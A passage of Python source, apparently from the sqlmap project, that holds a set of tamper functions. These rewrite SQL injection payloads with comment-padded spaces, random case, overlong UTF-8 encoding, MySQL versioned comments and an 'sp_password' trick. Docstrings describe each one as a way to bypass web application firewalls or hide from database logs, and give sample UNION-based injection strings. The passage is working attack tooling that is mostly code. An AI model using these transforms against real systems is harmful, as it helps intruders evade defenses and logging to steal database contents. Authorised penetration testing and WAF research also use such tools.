% (match.group(1), 1 - pos) 492 | 493 | retVal = retVal.replace(match.group(0), _) 494 | 495 | return retVal 496 | 497 | def space2randomblank(self, payload, **kwargs): 498 | """ 499 | Replaces space character (' ') with a random blank character from a valid set of alternate characters 500 | Tested against: 501 | * Microsoft SQL Server 2005 502 | * MySQL 4, 5.0 and 5.5 503 | * Oracle 10g 504 | * PostgreSQL 8.3, 8.4, 9.0 505 | Notes: 506 | * Useful to bypass several web application firewalls 507 | >>> random.seed(0) 508 | >>> tamper('SELECT id FROM users') 509 | 'SELECT%0Did%0CFROM%0Ausers' 510 | """ 511 | 512 | # ASCII table: 513 | # TAB 09 horizontal TAB 514 | # LF 0A new line 515 | # FF 0C new page 516 | # CR 0D carriage return 517 | blanks = ("%09", "%0A", "%0C", "%0D") 518 | retVal = payload 519 | 520 | if payload: 521 | retVal = "" 522 | quote, doublequote, firstspace = False, False, False 523 | 524 | for i in xrange(len(payload)): 525 | if not firstspace: 526 | if payload[i].isspace(): 527 | firstspace = True 528 | retVal += random.choice(blanks) 529 | continue 530 | 531 | elif payload[i] == '\'': 532 | quote = not quote 533 | 534 | elif payload[i] == '"': 535 | doublequote = not doublequote 536 | 537 | elif payload[i] == ' ' and not doublequote and not quote: 538 | retVal += random.choice(blanks) 539 | continue 540 | 541 | retVal += payload[i] 542 | 543 | return retVal 544 | 545 | def space2plus(self, payload, **kwargs): 546 | """ 547 | Replaces space character (' ') with plus ('+') 548 | Notes: 549 | * Is this any useful? The plus get's url-encoded by sqlmap engine invalidating the query afterwards 550 | * This tamper script works against all databases 551 | >>> tamper('SELECT id FROM users') 552 | 'SELECT+id+FROM+users' 553 | """ 554 | 555 | retVal = payload 556 | 557 | if payload: 558 | retVal = "" 559 | quote, doublequote, firstspace = False, False, False 560 | 561 | for i in xrange(len(payload)): 562 | if not firstspace: 563 | if payload[i].isspace(): 564 | firstspace = True 565 | retVal += "+" 566 | continue 567 | 568 | elif payload[i] == '\'': 569 | quote = not quote 570 | 571 | elif payload[i] == '"': 572 | doublequote = not doublequote 573 | 574 | elif payload[i] == " " and not doublequote and not quote: 575 | retVal += "+" 576 | continue 577 | 578 | retVal += payload[i] 579 | 580 | return retVal 581 | 582 | def space2mysqldash(self, payload, **kwargs): 583 | """ 584 | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') 585 | Requirement: 586 | * MySQL 587 | * MSSQL 588 | Notes: 589 | * Useful to bypass several web application firewalls. 590 | >>> tamper('1 AND 9227=9227') 591 | '1--%0AAND--%0A9227=9227' 592 | """ 593 | 594 | retVal = "" 595 | 596 | if payload: 597 | for i in xrange(len(payload)): 598 | if payload[i].isspace(): 599 | retVal += "--%0A" 600 | elif payload[i] == '#' or payload[i:i + 3] == '-- ': 601 | retVal += payload[i:] 602 | break 603 | else: 604 | retVal += payload[i] 605 | 606 | return retVal 607 | 608 | def space2mysqlblank(self, payload, **kwargs): 609 | """ 610 | Replaces (MySQL) instances of space character (' ') with a random blank character from a valid set of alternate characters 611 | Requirement: 612 | * MySQL 613 | Tested against: 614 | * MySQL 5.1 615 | Notes: 616 | * Useful to bypass several web application firewalls 617 | >>> random.seed(0) 618 | >>> tamper('SELECT id FROM users') 619 | 'SELECT%A0id%0CFROM%0Dusers' 620 | """ 621 | 622 | # ASCII table: 623 | # TAB 09 horizontal TAB 624 | # LF 0A new line 625 | # FF 0C new page 626 | # CR 0D carriage return 627 | # VT 0B vertical TAB (MySQL and Microsoft SQL Server only) 628 | # A0 non-breaking space 629 | blanks = ('%09', '%0A', '%0C', '%0D', '%0B', '%A0') 630 | retVal = payload 631 | 632 | if payload: 633 | retVal = "" 634 | quote, doublequote, firstspace = False, False, False 635 | 636 | for i in xrange(len(payload)): 637 | if not firstspace: 638 | if payload[i].isspace(): 639 | firstspace = True 640 | retVal += random.choice(blanks) 641 | continue 642 | 643 | elif payload[i] == '\'': 644 | quote = not quote 645 | 646 | elif payload[i] == '"': 647 | doublequote = not doublequote 648 | 649 | elif payload[i] == " " and not doublequote and not quote: 650 | retVal += random.choice(blanks) 651 | continue 652 | 653 | retVal += payload[i] 654 | 655 | return retVal 656 | 657 | def space2mssqlhash(self, payload, **kwargs): 658 | """ 659 | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') 660 | Requirement: 661 | * MSSQL 662 | * MySQL 663 | Notes: 664 | * Useful to bypass several web application firewalls 665 | >>> tamper('1 AND 9227=9227') 666 | '1%23%0AAND%23%0A9227=9227' 667 | """ 668 | 669 | retVal = "" 670 | 671 | if payload: 672 | for i in xrange(len(payload)): 673 | if payload[i].isspace(): 674 | retVal += "%23%0A" 675 | elif payload[i] == '#' or payload[i:i + 3] == '-- ': 676 | retVal += payload[i:] 677 | break 678 | else: 679 | retVal += payload[i] 680 | 681 | return retVal 682 | 683 | def space2mssqlblank(self, payload, **kwargs): 684 | """ 685 | Replaces (MsSQL) instances of space character (' ') with a random blank character from a valid set of alternate characters 686 | Requirement: 687 | * Microsoft SQL Server 688 | Tested against: 689 | * Microsoft SQL Server 2000 690 | * Microsoft SQL Server 2005 691 | Notes: 692 | * Useful to bypass several web application firewalls 693 | >>> random.seed(0) 694 | >>> tamper('SELECT id FROM users') 695 | 'SELECT%0Did%0DFROM%04users' 696 | """ 697 | 698 | # ASCII table: 699 | # SOH 01 start of heading 700 | # STX 02 start of text 701 | # ETX 03 end of text 702 | # EOT 04 end of transmission 703 | # ENQ 05 enquiry 704 | # ACK 06 acknowledge 705 | # BEL 07 bell 706 | # BS 08 backspace 707 | # TAB 09 horizontal tab 708 | # LF 0A new line 709 | # VT 0B vertical TAB 710 | # FF 0C new page 711 | # CR 0D carriage return 712 | # SO 0E shift out 713 | # SI 0F shift in 714 | blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A') 715 | retVal = payload 716 | 717 | if payload: 718 | retVal = "" 719 | quote, doublequote, firstspace, end = False, False, False, False 720 | 721 | for i in xrange(len(payload)): 722 | if not firstspace: 723 | if payload[i].isspace(): 724 | firstspace = True 725 | retVal += random.choice(blanks) 726 | continue 727 | 728 | elif payload[i] == '\'': 729 | quote = not quote 730 | 731 | elif payload[i] == '"': 732 | doublequote = not doublequote 733 | 734 | elif payload[i] == '#' or payload[i:i + 3] == '-- ': 735 | end = True 736 | 737 | elif payload[i] == " " and not doublequote and not quote: 738 | if end: 739 | retVal += random.choice(blanks[:-1]) 740 | else: 741 | retVal += random.choice(blanks) 742 | 743 | continue 744 | 745 | retVal += payload[i] 746 | 747 | return retVal 748 | 749 | def space2morehash(self, payload, **kwargs): 750 | """ 751 | Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') 752 | Requirement: 753 | * MySQL >= 5.1.13 754 | Tested against: 755 | * MySQL 5.1.41 756 | Notes: 757 | * Useful to bypass several web application firewalls 758 | * Used during the ModSecurity SQL injection challenge, 759 | http://modsecurity.org/demo/challenge.html 760 | >>> random.seed(0) 761 | >>> tamper('1 AND 9227=9227') 762 | '1%23RcDKhIr%0AAND%23upgPydUzKpMX%0A%23lgbaxYjWJ%0A9227=9227' 763 | """ 764 | 765 | def process(match): 766 | word = match.group('word') 767 | randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) 768 | 769 | if word.upper() in self.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: 770 | return match.group().replace(word, "%s%%23%s%%0A" % (word, randomStr)) 771 | else: 772 | return match.group() 773 | 774 | retVal = "" 775 | 776 | if payload: 777 | payload = re.sub(r"(?<=\W)(?P[A-Za-z_]+)(?=\W|\Z)", process, payload) 778 | 779 | for i in xrange(len(payload)): 780 | if payload[i].isspace(): 781 | randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) 782 | retVal += "%%23%s%%0A" % randomStr 783 | elif payload[i] == '#' or payload[i:i + 3] == '-- ': 784 | retVal += payload[i:] 785 | break 786 | else: 787 | retVal += payload[i] 788 | 789 | return retVal 790 | 791 | def space2morecomment(self, payload, **kwargs): 792 | """ 793 | Replaces (MySQL) instances of space character (' ') with comments '/**_**/' 794 | Tested against: 795 | * MySQL 5.0 and 5.5 796 | Notes: 797 | * Useful to bypass weak and bespoke web application firewalls 798 | >>> tamper('SELECT id FROM users') 799 | 'SELECT/**_**/id/**_**/FROM/**_**/users' 800 | """ 801 | 802 | retVal = payload 803 | 804 | if payload: 805 | retVal = "" 806 | quote, doublequote, firstspace = False, False, False 807 | 808 | for i in xrange(len(payload)): 809 | if not firstspace: 810 | if payload[i].isspace(): 811 | firstspace = True 812 | retVal += "/**_**/" 813 | continue 814 | 815 | elif payload[i] == '\'': 816 | quote = not quote 817 | 818 | elif payload[i] == '"': 819 | doublequote = not doublequote 820 | 821 | elif payload[i] == " " and not doublequote and not quote: 822 | retVal += "/**_**/" 823 | continue 824 | 825 | retVal += payload[i] 826 | 827 | return retVal 828 | 829 | def space2hash(self, payload, **kwargs): 830 | """ 831 | Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') 832 | Requirement: 833 | * MySQL 834 | Tested against: 835 | * MySQL 4.0, 5.0 836 | Notes: 837 | * Useful to bypass several web application firewalls 838 | * Used during the ModSecurity SQL injection challenge, 839 | http://modsecurity.org/demo/challenge.html 840 | >>> random.seed(0) 841 | >>> tamper('1 AND 9227=9227') 842 | '1%23upgPydUzKpMX%0AAND%23RcDKhIr%0A9227=9227' 843 | """ 844 | 845 | retVal = "" 846 | 847 | if payload: 848 | for i in xrange(len(payload)): 849 | if payload[i].isspace(): 850 | randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) 851 | retVal += "%%23%s%%0A" % randomStr 852 | elif payload[i] == '#' or payload[i:i + 3] == '-- ': 853 | retVal += payload[i:] 854 | break 855 | else: 856 | retVal += payload[i] 857 | 858 | return retVal 859 | 860 | def space2dash(self, payload, **kwargs): 861 | """ 862 | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') 863 | Requirement: 864 | * MSSQL 865 | * SQLite 866 | Notes: 867 | * Useful to bypass several web application firewalls 868 | * Used during the ZeroNights SQL injection challenge, 869 | https://proton.onsec.ru/contest/ 870 | >>> random.seed(0) 871 | >>> tamper('1 AND 9227=9227') 872 | '1--upgPydUzKpMX%0AAND--RcDKhIr%0A9227=9227' 873 | """ 874 | 875 | retVal = "" 876 | 877 | if payload: 878 | for i in xrange(len(payload)): 879 | if payload[i].isspace(): 880 | randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) 881 | retVal += "--%s%%0A" % randomStr 882 | elif payload[i] == '#' or payload[i:i + 3] == '-- ': 883 | retVal += payload[i:] 884 | break 885 | else: 886 | retVal += payload[i] 887 | 888 | return retVal 889 | 890 | def space2comment(self, payload, **kwargs): 891 | """ 892 | Replaces space character (' ') with comments '/**/' 893 | Tested against: 894 | * Microsoft SQL Server 2005 895 | * MySQL 4, 5.0 and 5.5 896 | * Oracle 10g 897 | * PostgreSQL 8.3, 8.4, 9.0 898 | Notes: 899 | * Useful to bypass weak and bespoke web application firewalls 900 | >>> tamper('SELECT id FROM users') 901 | 'SELECT/**/id/**/FROM/**/users' 902 | """ 903 | 904 | retVal = payload 905 | 906 | if payload: 907 | retVal = "" 908 | quote, doublequote, firstspace = False, False, False 909 | 910 | for i in xrange(len(payload)): 911 | if not firstspace: 912 | if payload[i].isspace(): 913 | firstspace = True 914 | retVal += "/**/" 915 | continue 916 | 917 | elif payload[i] == '\'': 918 | quote = not quote 919 | 920 | elif payload[i] == '"': 921 | doublequote = not doublequote 922 | 923 | elif payload[i] == " " and not doublequote and not quote: 924 | retVal += "/**/" 925 | continue 926 | 927 | retVal += payload[i] 928 | 929 | return retVal 930 | 931 | def sp_password(self, payload, **kwargs): 932 | """ 933 | Appends (MsSQL) function 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs 934 | Requirement: 935 | * MSSQL 936 | Notes: 937 | * Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure 938 | * Reference: http://websec.ca/kb/sql_injection 939 | >>> tamper('1 AND 9227=9227-- ') 940 | '1 AND 9227=9227-- sp_password' 941 | """ 942 | 943 | retVal = "" 944 | 945 | if payload: 946 | retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if _ in payload else None for _ in ('#', "-- ")) else "") 947 | 948 | return retVal 949 | 950 | def randomcomments(self, payload, **kwargs): 951 | """ 952 | Add random inline comments inside SQL keywords (e.g. SELECT -> S/**/E/**/LECT) 953 | >>> import random 954 | >>> random.seed(0) 955 | >>> tamper('INSERT') 956 | 'I/**/NS/**/ERT' 957 | """ 958 | 959 | retVal = payload 960 | 961 | if payload: 962 | for match in re.finditer(r"\b[A-Za-z_]+\b", payload): 963 | word = match.group() 964 | 965 | if len(word) < 2: 966 | continue 967 | 968 | if word.upper() in self.keywords: 969 | _ = word[0] 970 | 971 | for i in xrange(1, len(word) - 1): 972 | _ += "%s%s" % ("/**/" if self.randomRange(0, 1) else "", word[i]) 973 | 974 | _ += word[-1] 975 | 976 | if "/**/" not in _: 977 | index = self.randomRange(1, len(word) - 1) 978 | _ = word[:index] + "/**/" + word[index:] 979 | 980 | retVal = retVal.replace(word, _) 981 | 982 | return retVal 983 | 984 | def randomcase(self, payload, **kwargs): 985 | """ 986 | Replaces each keyword character with random case value (e.g. SELECT -> SEleCt) 987 | Tested against: 988 | * Microsoft SQL Server 2005 989 | * MySQL 4, 5.0 and 5.5 990 | * Oracle 10g 991 | * PostgreSQL 8.3, 8.4, 9.0 992 | * SQLite 3 993 | Notes: 994 | * Useful to bypass very weak and bespoke web application firewalls 995 | that has poorly written permissive regular expressions 996 | * This tamper script should work against all (?) databases 997 | >>> import random 998 | >>> random.seed(0) 999 | >>> tamper('INSERT') 1000 | 'InSeRt' 1001 | >>> tamper('f()') 1002 | 'f()' 1003 | >>> tamper('function()') 1004 | 'FuNcTiOn()' 1005 | >>> tamper('SELECT id FROM `user`') 1006 | 'SeLeCt Id FrOm `user`' 1007 | """ 1008 | 1009 | retVal = payload 1010 | 1011 | if payload: 1012 | for match in re.finditer(r"\b[A-Za-z_]{2,}\b", retVal): 1013 | word = match.group() 1014 | 1015 | if (word.upper() in self.keywords and re.search(r"(?i)[`\"'\[]%s[`\"'\]]" % word, retVal) is None) or ("%s(" % word) in payload: 1016 | while True: 1017 | _ = "" 1018 | 1019 | for i in xrange(len(word)): 1020 | _ += word[i].upper() if self.randomRange(0, 1) else word[i].lower() 1021 | 1022 | if len(_) > 1 and _ not in (_.lower(), _.upper()): 1023 | break 1024 | 1025 | retVal = retVal.replace(word, _) 1026 | 1027 | return retVal 1028 | 1029 | def plus2fnconcat(self, payload, **kwargs): 1030 | """ 1031 | Replaces plus operator ('+') with (MsSQL) ODBC function {fn CONCAT()} counterpart 1032 | Tested against: 1033 | * Microsoft SQL Server 2008 1034 | Requirements: 1035 | * Microsoft SQL Server 2008+ 1036 | Notes: 1037 | * Useful in case ('+') character is filtered 1038 | * https://msdn.microsoft.com/en-us/library/bb630290.aspx 1039 | >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') 1040 | 'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL' 1041 | >>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe') 1042 | '1 UNION ALL SELECT NULL,NULL,{fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT(CHAR(113),CHAR(118))},CHAR(112))},CHAR(112))},CHAR(113))},ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)))},CHAR(113))},CHAR(112))},CHAR(107))},CHAR(112))},CHAR(113))}-- qtfe' 1043 | """ 1044 | 1045 | retVal = payload 1046 | 1047 | if payload: 1048 | match = re.search(r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal) 1049 | if match: 1050 | old = match.group(0) 1051 | parts = [] 1052 | last = 0 1053 | 1054 | for index in self.zeroDepthSearch(old, '+'): 1055 | parts.append(old[last:index].strip('+')) 1056 | last = index 1057 | 1058 | parts.append(old[last:].strip('+')) 1059 | replacement = parts[0] 1060 | 1061 | for i in xrange(1, len(parts)): 1062 | replacement = "{fn CONCAT(%s,%s)}" % (replacement, parts[i]) 1063 | 1064 | retVal = retVal.replace(old, replacement) 1065 | 1066 | return retVal 1067 | 1068 | def plus2concat(self, payload, **kwargs): 1069 | """ 1070 | Replaces plus operator ('+') with (MsSQL) function CONCAT() counterpart 1071 | Tested against: 1072 | * Microsoft SQL Server 2012 1073 | Requirements: 1074 | * Microsoft SQL Server 2012+ 1075 | Notes: 1076 | * Useful in case ('+') character is filtered 1077 | >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') 1078 | 'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL' 1079 | >>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe') 1080 | '1 UNION ALL SELECT NULL,NULL,CONCAT(CHAR(113),CHAR(118),CHAR(112),CHAR(112),CHAR(113),ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)),CHAR(113),CHAR(112),CHAR(107),CHAR(112),CHAR(113))-- qtfe' 1081 | """ 1082 | 1083 | retVal = payload 1084 | 1085 | if payload: 1086 | match = re.search(r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal) 1087 | if match: 1088 | part = match.group(0) 1089 | 1090 | chars = [char for char in part] 1091 | for index in self.zeroDepthSearch(part, '+'): 1092 | chars[index] = ',' 1093 | 1094 | replacement = "CONCAT(%s)" % "".join(chars) 1095 | retVal = retVal.replace(part, replacement) 1096 | 1097 | return retVal 1098 | 1099 | def percentage(self, payload, **kwargs): 1100 | """ 1101 | Adds a percentage sign ('%') infront of each character (e.g. SELECT -> %S%E%L%E%C%T) 1102 | Requirement: 1103 | * ASP 1104 | Tested against: 1105 | * Microsoft SQL Server 2000, 2005 1106 | * MySQL 5.1.56, 5.5.11 1107 | * PostgreSQL 9.0 1108 | Notes: 1109 | * Useful to bypass weak and bespoke web application firewalls 1110 | >>> tamper('SELECT FIELD FROM TABLE') 1111 | '%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E' 1112 | """ 1113 | retVal = "" 1114 | if payload: 1115 | i = 0 1116 | while i < len(payload): 1117 | if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: 1118 | retVal += payload[i:i + 3] 1119 | i += 3 1120 | elif payload[i] != ' ': 1121 | retVal += '%%%s' % payload[i] 1122 | i += 1 1123 | else: 1124 | retVal += payload[i] 1125 | i += 1 1126 | 1127 | return retVal 1128 | 1129 | def overlongutf8more(self, payload, **kwargs): 1130 | """ 1131 | Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94) 1132 | Reference: 1133 | * https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/ 1134 | * https://www.thecodingforums.com/threads/newbie-question-about-character-encoding-what-does-0xc0-0x8a-have-in-common-with-0xe0-0x80-0x8a.170201/ 1135 | >>> tamper('SELECT FIELD FROM TABLE WHERE 2>1') 1136 | '%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94%C0%A0%C1%86%C1%89%C1%85%C1%8C%C1%84%C0%A0%C1%86%C1%92%C1%8F%C1%8D%C0%A0%C1%94%C1%81%C1%82%C1%8C%C1%85%C0%A0%C1%97%C1%88%C1%85%C1%92%C1%85%C0%A0%C0%B2%C0%BE%C0%B1' 1137 | """ 1138 | 1139 | retVal = payload 1140 | 1141 | if payload: 1142 | retVal = "" 1143 | i = 0 1144 | 1145 | while i < len(payload): 1146 | if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: 1147 | retVal += payload[i:i + 3] 1148 | i += 3 1149 | else: 1150 | retVal += "%%%.2X%%%.2X" % (0xc0 + (ord(payload[i]) >> 6), 0x80 + (ord(payload[i]) & 0x3f)) 1151 | i += 1 1152 | 1153 | return retVal 1154 | 1155 | def overlongutf8(self, payload, **kwargs): 1156 | """ 1157 | Converts all (non-alphanum) characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. ' -> %C0%A7) 1158 | Reference: 1159 | * https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/ 1160 | * https://www.thecodingforums.com/threads/newbie-question-about-character-encoding-what-does-0xc0-0x8a-have-in-common-with-0xe0-0x80-0x8a.170201/ 1161 | >>> tamper('SELECT FIELD FROM TABLE WHERE 2>1') 1162 | 'SELECT%C0%A0FIELD%C0%A0FROM%C0%A0TABLE%C0%A0WHERE%C0%A02%C0%BE1' 1163 | """ 1164 | 1165 | retVal = payload 1166 | 1167 | if payload: 1168 | retVal = "" 1169 | i = 0 1170 | 1171 | while i < len(payload): 1172 | if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: 1173 | retVal += payload[i:i + 3] 1174 | i += 3 1175 | else: 1176 | if payload[i] not in (string.ascii_letters + string.digits): 1177 | retVal += "%%%.2X%%%.2X" % (0xc0 + (ord(payload[i]) >> 6), 0x80 + (ord(payload[i]) & 0x3f)) 1178 | else: 1179 | retVal += payload[i] 1180 | i += 1 1181 | 1182 | return retVal 1183 | 1184 | def multiplespaces(self, payload, **kwargs): 1185 | """ 1186 | Adds multiple spaces (' ') around SQL keywords 1187 | Notes: 1188 | * Useful to bypass very weak and bespoke web application firewalls 1189 | that has poorly written permissive regular expressions 1190 | Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt 1191 | >>> random.seed(0) 1192 | >>> tamper('1 UNION SELECT foobar') 1193 | '1 UNION SELECT foobar' 1194 | """ 1195 | 1196 | retVal = payload 1197 | 1198 | if payload: 1199 | words = OrderedSet() 1200 | 1201 | for match in re.finditer(r"\b[A-Za-z_]+\b", payload): 1202 | word = match.group() 1203 | 1204 | if word.upper() in self.keywords: 1205 | words.add(word) 1206 | 1207 | for word in words: 1208 | retVal = re.sub(r"(?<=\W)%s(?=[^A-Za-z_(]|\Z)" % word, "%s%s%s" % (' ' * random.randint(1, 4), word, ' ' * random.randint(1, 4)), retVal) 1209 | retVal = re.sub(r"(?<=\W)%s(?=[(])" % word, "%s%s" % (' ' * random.randint(1, 4), word), retVal) 1210 | 1211 | return retVal 1212 | 1213 | def modsecurityzeroversioned(self, payload, **kwargs): 1214 | """ 1215 | Embraces complete query with (MySQL) zero-versioned comment 1216 | Requirement: 1217 | * MySQL 1218 | Tested against: 1219 | * MySQL 5.0 1220 | Notes: 1221 | * Useful to bypass ModSecurity WAF 1222 | >>> tamper('1 AND 2>1--') 1223 | '1 /*!00000AND 2>1*/--' 1224 | """ 1225 | 1226 | retVal = payload 1227 | 1228 | if payload: 1229 | postfix = '' 1230 | for comment in ('#', '--', '/*'): 1231 | if comment in payload: 1232 | postfix = payload[payload.find(comment):] 1233 | payload = payload[:payload.find(comment)] 1234 | break 1235 | if ' ' in payload: 1236 | retVal = "%s /*!00000%s*/%s" % (payload[:payload.find(' ')], payload[payload.find(' ') + 1:], postfix) 1237 | 1238 | return retVal 1239 | 1240 | def modsecurityversioned(self, payload, **kwargs): 1241 | """ 1242 | Embraces complete query with (MySQL) versioned comment 1243 | Requirement: 1244 | * MySQL 1245 | Tested against: 1246 | * MySQL 5.0 1247 | Notes: 1248 | * Useful to bypass ModSecurity WAF 1249 | >>> import random 1250 | >>> random.seed(0) 1251 | >>> tamper('1 AND 2>1--') 1252 | '1 /*!30963AND 2>1*/--' 1253 | """ 1254 | 1255 | retVal = payload 1256 | 1257 | if payload: 1258 | postfix = '' 1259 | for comment in ('#', '--', '/*'): 1260 | if comment in payload: 1261 | postfix = payload[payload.find(comment):] 1262 | payload = payload[:payload.find(comment)] 1263 | break 1264 | if ' ' in payload: 1265 | retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], self.randomInt(3), payload[payload.find(' ') + 1:], postfix) 1266 | 1267 | return retVal 1268 | 1269 | def lowercase(self, payload, **kwargs): 1270 | """ 1271 | Replaces each keyword character with lower case value (e.g. SELECT -> select) 1272 | Tested against: 1273 | * Microsoft SQL Server 2005 1274 | * MySQL 4, 5.0 and 5.5 1275 | * Oracle 10g 1276 | * PostgreSQL 8.3, 8.4, 9.0 1277 | Notes: 1278 | * Useful to bypass very weak and bespoke web application firewalls 1279 | that has poorly written permissive regular expressions 1280 | >>> tamper('INSERT') 1281 | 'insert' 1282 | """ 1283 | 1284 | retVal = payload 1285 | 1286 | if payload: 1287 | for match in re.finditer(r"\b[A-Za-z_]+\b", retVal): 1288 | word = match.group() 1289 | 1290 | if word.upper() in self.keywords: 1291 | retVal = retVal.replace(word, word.lower()) 1292 | 1293 | return retVal 1294 | 1295 | def least(self, payload, **kwargs): 1296 | """ 1297 | Replaces greater than operator ('>') with 'LEAST' counterpart 1298 | Tested against: 1299 | * MySQL 4, 5.0 and 5.5 1300 | * Oracle 10g 1301 | * PostgreSQL 8.3, 8.4, 9.0 1302 | Notes: 1303 | * Useful to bypass weak and bespoke web application firewalls that 1304 | filter the greater than character 1305 | * The LEAST clause is a widespread SQL command. Hence, this 1306 | tamper script should work against majority of databases 1307 | >>> tamper('1 AND A > B') 1308 | '1 AND LEAST(A,B+1)=B+1' 1309 | """ 1310 | 1311 | retVal = payload 1312 | 1313 | if payload: 1314 | match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^>]+?)\s*>\s*(\w+|'[^']+')", payload) 1315 | 1316 | if match: 1317 | _ = "%sLEAST(%s,%s+1)=%s+1" % (match.group(1), match.group(3), match.group(4), match.group(4)) 1318 | retVal = retVal.replace(match.group(0), _) 1319 | 1320 | return retVal 1321 | 1322 | def informationschemacomment(self, payload, **kwargs): 1323 | """ 1324 | Add an inline comment (/**/) to the end of all occurrences of (MySQL) "information_schema" identifier 1325 | >>> tamper('SELECT table_name FROM INFORMATION_SCHEMA.TABLES') 1326 | 'SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES' 1327 | """ 1328 | 1329 | retVal = payload 1330 | 1331 | if payload: 1332 | retVal = re.sub(r"(?i)(information_schema)\.", r"\g<1>/**/.", payload) 1333 | 1334 | return retVal 1335 | 1336 | def ifnull2ifisnull(self, payload, **kwargs): 1337 | """ 1338 | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' counterpart 1339 | Requirement: 1340 | * MySQL 1341 | * SQLite (possibly) 1342 | * SAP MaxDB (possibly) 1343 | Tested against: 1344 | * MySQL 5.0 and 5.5 1345 | Notes: 1346 | * Useful to bypass very weak and bespoke web application firewalls 1347 | that filter the IFNULL() function 1348 | >>> tamper('IFNULL(1, 2)') 1349 | 'IF(ISNULL(1),2,1)' 1350 | """ 1351 | 1352 | if payload and payload.find("IFNULL") > -1: 1353 | while payload.find("IFNULL(") > -1: 1354 | index = payload.find("IFNULL(") 1355 | depth = 1 1356 | comma, end = None, None 1357 | 1358 | for i in xrange(index + len("IFNULL("), len(payload)): 1359 | if depth == 1 and payload[i] == ',': 1360 | comma = i 1361 | 1362 | elif depth == 1 and payload[i] == ')': 1363 | end = i 1364 | break 1365 | 1366 | elif payload[i] == '(': 1367 | depth += 1 1368 | 1369 | elif payload[i] == ')': 1370 | depth -= 1 1371 | 1372 | if comma and end: 1373 | _ = payload[index + len("IFNULL("):comma] 1374 | __ = payload[comma + 1:end].lstrip() 1375 | newVal = "IF(ISNULL(%s),%s,%s)" % (_, __, _) 1376 | payload = payload[:index] + newVal + payload[end + 1:] 1377 | else: 1378 | break 1379 | 1380 | return payload 1381 | 1382 | def ifnull2casewhenisnull(self, payload, **kwargs): 1383 | """ 1384 | Replaces instances like 'IFNULL(A, B)' with 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END' counterpart 1385 | Requirement: 1386 | * MySQL 1387 | * SQLite (possibly) 1388 | * SAP MaxDB (possibly) 1389 | Tested against: 1390 | * MySQL 5.0 and 5.5 1391 | Notes: 1392 | * Useful to bypass very weak and bespoke web application firewalls 1393 | that filter the IFNULL() functions 1394 | >>> tamper('IFNULL(1, 2)') 1395 | 'CASE WHEN ISNULL(1) THEN (2) ELSE (1) END' 1396 | """ 1397 | 1398 | if payload and payload.find("IFNULL") > -1: 1399 | while payload.find("IFNULL(") > -1: 1400 | index = payload.find("IFNULL(") 1401 | depth = 1 1402 | comma, end = None, None 1403 | 1404 | for i in xrange(index + len("IFNULL("), len(payload)): 1405 | if depth == 1 and payload[i] == ',': 1406 | comma = i 1407 | 1408 | elif depth == 1 and payload[i] == ')': 1409 | end = i 1410 | break 1411 | 1412 | elif payload[i] == '(': 1413 | depth += 1 1414 | 1415 | elif payload[i] == ')': 1416 